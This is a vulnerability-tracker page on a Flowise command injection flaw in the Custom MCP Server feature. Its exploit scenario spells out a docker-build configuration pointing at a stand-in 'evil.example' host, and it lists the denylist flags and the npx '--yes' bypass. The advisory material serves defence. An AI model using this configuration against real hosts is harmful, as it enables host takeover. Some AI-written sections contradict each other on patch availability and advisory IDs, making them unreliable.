Skip to main content

Flowise CVE-2026-56274

| EUVDEUVD-2026-38434 HIGH
OS Command Injection (CWE-78)
2026-06-23 VulnCheck GHSA-8rhx-2hcv-q49g
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Flowise account or API key
  2. Delivery
    Create chatflow with Custom MCP Server node
  3. Exploit
    Submit docker build or npx --yes payload
  4. Execution
    Bypass validateCommandFlags denylist
  5. Persist
    Flowise spawns attacker command on host
  6. Impact
    Execute Dockerfile RUN or script for host takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target must be Flowise <= 3.1.1 with the Custom MCP Server feature reachable to the attacker, and the attacker must hold either a Flowise account of any role or an API key with view and update permissions on chatflows - fully unauthenticated exploitation is not possible. To weaponize the docker-build variant, the Docker CLI must be installed on the Flowise host and reachable to the Flowise service user; the npx '--yes' and local-file-access variants instead require Node.js/npx on the host and a writable or attacker-controlled local script path. The vulnerability does not require user interaction, non-default configuration of Flowise itself, or any specific OS platform beyond the presence of one of these execution helpers.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H (8.7 High) is consistent with the description: exploitation is network-reachable, low-complexity, requires some privilege (an account of any role, or an API key with chatflow view/update), needs no user interaction, and yields full confidentiality/integrity/availability impact on the host. There is no EPSS score, KEV listing, or SSVC decision data supplied, so widespread exploitation cannot be confirmed; however a detailed reproduction (HTTP POST plus screenshots) is published in the GHSA advisory and the VulnCheck writeup, which materially raises real-world risk above what KEV/EPSS absence would suggest. The PR:L requirement is genuinely low-friction in practice because Flowise installations frequently allow self-registration or share API keys among low-trust users, and the post-exploit impact is host-level RCE (potentially with Docker daemon access enabling container escape), so this should be treated as a priority patch for any internet-exposed or multi-tenant Flowise instance.

Exploit ScenarioDerived

An attacker who has signed up for (or been given) a low-privilege Flowise account, or who has obtained an API key with view/update on chatflows, creates a chatflow containing a Custom MCP Server node configured with command 'docker' and args ['build','https://evil.example/']; the validateCommandFlags check passes because 'build' is not in the docker blocklist. The attacker then issues POST /api/v1/prediction/{chatflows_id} which causes Flowise to invoke 'docker build' against the remote URL, pulling and executing a hostile Dockerfile whose RUN instructions and volume-mount tricks break out to the Flowise host. A working reproduction (HTTP request and screenshots) is published in the GHSA advisory.

Act Now Prioritize within 24-48h. Why: Active threat signals + CRITICAL/HIGH severity.
Patch available 1.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update permissions) to abuse the Custom MCP Server feature and run arbitrary OS commands on the host. The validateCommandFlags blocklist and validateArgsForLocalFileAccess regex are incomplete - for example 'docker build' is permitted and 'npx --yes' is permitted while only '-y' is blocked - letting attackers point Flowise at a hostile Dockerfile or local script to achieve full host compromise. Publicly available exploit code exists (the GHSA advisory ships a reproduction), though there is no public exploit identified at time of analysis in CISA KEV.

RemediationAI

Vendor-released patch: upgrade flowise and flowise-components to 3.1.2 or later, which extends the validateCommandFlags blocklist and tightens the validateArgsForLocalFileAccess regex (see the GHSA-m99r-2hxc-cp3q advisory). If immediate upgrade is not possible, disable or remove the Custom MCP Server node type from chatflows and revoke API keys carrying chatflow update permissions from any non-administrative principals; on hosts where docker is installed, remove docker from the Flowise service account's PATH or run Flowise under a user that has no docker group membership, accepting that legitimate Docker-based MCP servers will stop working. Additionally restrict the Flowise web UI and API to trusted networks and disable open user self-registration via FLOWISE_USERNAME/PASSWORD-only access, since the prerequisite of 'any role' account dramatically lowers the bar otherwise.

Affected VersionsENISA

Flowise 0 <3.1.2

Affected Packages

npm flowise fix: 3.1.2
npm flowise-components fix: 3.1.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Flowise is an open-source low-code LLM orchestration platform (npm packages flowise and flowise-components) that lets users wire chatflows to external tools via the Model Context Protocol (MCP). When a chatflow includes a Custom MCP Server node, Flowise spawns a child process using a user-supplied command and arguments, guarded by two allow/deny functions in packages/components/nodes/tools/MCP/core.ts: validateCommandFlags (a hard-coded blocklist of dangerous flags per command) and validateArgsForLocalFileAccess (a regex check intended to prevent local file references). Both controls are incomplete: the docker blocklist only covers run/exec/-v/--volume/--privileged/--cap-add/--security-opt/--network/--pid/--ipc but omits build/pull/push/cp/commit, and the npx blocklist contains '-y' but not the equivalent '--yes' long form. The root cause is classic CWE-78 (OS Command Injection) via denylist-style validation of an interpreter invocation, where the denylist fails to be canonical or exhaustive over the set of dangerous flag aliases and subcommands.

Know when Flowise gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable Flowise UI/API, low complexity, requires any-role account or chatflow-permissioned API key (PR:L), no user interaction, full host RCE gives C/I/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Jun 23, 2026 - 14:17 EUVD
CVE Published
Jun 23, 2026 - 12:13 cve.org
HIGH 8.7

DescriptionCVE.org

Flowise before 3.1.2 contains multiple OS command injection vulnerabilities in the Custom MCP Server feature due to incomplete command-flag validation and a regex bypass in local file access restrictions. An attacker with a Flowise account of any role, or API access with view/update permissions for chatflows, can configure a malicious MCP server to bypass the validateCommandFlags blocklist (for example, 'docker build' is not blocked, and 'npx --yes' is not blocked while only '-y' is) and the validateArgsForLocalFileAccess checks, resulting in execution of arbitrary commands on the Flowise host.

Executive ViewAI

Why It Matters

Flowise before 3.1.2 contains a remote code execution vulnerability affecting authenticated users and API callers with chatflow permissions, allowing complete host compromise through an incomplete blocklist in the Custom MCP Server feature. Publicly available exploit code exists; with a CVSS score of 8.7, any organization running vulnerable Flowise instances faces immediate risk of unauthorized command execution and potential lateral movement.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Custom MCP Server feature entirely if operational requirements permit; (2) restrict API key distribution and rotate existing credentials; (3) implement network segmentation to limit Flowise accessibility; (4) enable detailed audit logging of API calls and system command execution; (5) monitor for unexpected outbound network connections from Flowise processes; (6) run Flowise in restricted container or sandbox environment with minimal host-level permissions.

Threat Intelligence Overview

EPSS Score
1.7%
Top 26% exploitable
Prevalence
Medium
popular open-source LLM workflow platform, common in AI dev environments
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 1.7%
Patch available Yes
Active threat Yes
Deciding rule
Active threat signals + CRITICAL/HIGH severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

81
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2025-8943 CRITICAL POC
9.8 Aug 14

Flowise versions before 3.0.1 allow unauthenticated access to the Custom MCPs feature, which is designed to execute OS c

CVE-2025-26319 CRITICAL POC
9.8 Mar 04

FlowiseAI Flowise version 2.2.6 contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. Una

CVE-2025-61913 CRITICAL POC
9.9 Oct 08

Arbitrary file read and write in Flowise versions prior to 3.0.8 allows an authenticated attacker with access to the flo

CVE-2025-58434 CRITICAL POC
9.8 Sep 12

Flowise is a drag & drop user interface to build a customized large language model flow. Rated critical severity (CVSS 9

CVE-2025-61687 HIGH POC
8.8 Oct 06

Authenticated users can upload arbitrary files to Flowise 3.0.7 due to missing validation, enabling persistent storage o

CVE-2026-30821 CRITICAL POC
9.8 Mar 07

Unrestricted file upload in Flowise LLM workflow builder before 3.0.13 via /api/v1/attachments endpoint allows unauthent

CVE-2026-30824 CRITICAL POC
9.8 Mar 07

Missing authentication on NVD data endpoint in Flowise before 3.0.13 allows unauthenticated access to internal vulnerabi

CVE-2025-34267 HIGH POC
8.4 Oct 14

Authenticated remote code execution in FlowiseAI Flowise (v3.0.1 up to but not including 3.0.8, and later versions when

CVE-2026-70470 CRITICAL POC
9.5 Aug 04

Remote code execution in Flowise before 3.1.3 arises because its Pyodide Python-code validator (validatePythonCodeForDat

CVE-2026-69264 CRITICAL POC
9.4 Aug 04

Remote code execution in FlowiseAI Flowise before 3.1.3 lets an attacker execute arbitrary OS commands as the Flowise pr

CVE-2026-73483 CRITICAL POC
9.4 Aug 13

Remote command execution in Flowise <= 3.1.2 lets an authenticated user break out of the vm2/@flowiseai/nodevm JavaScrip

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy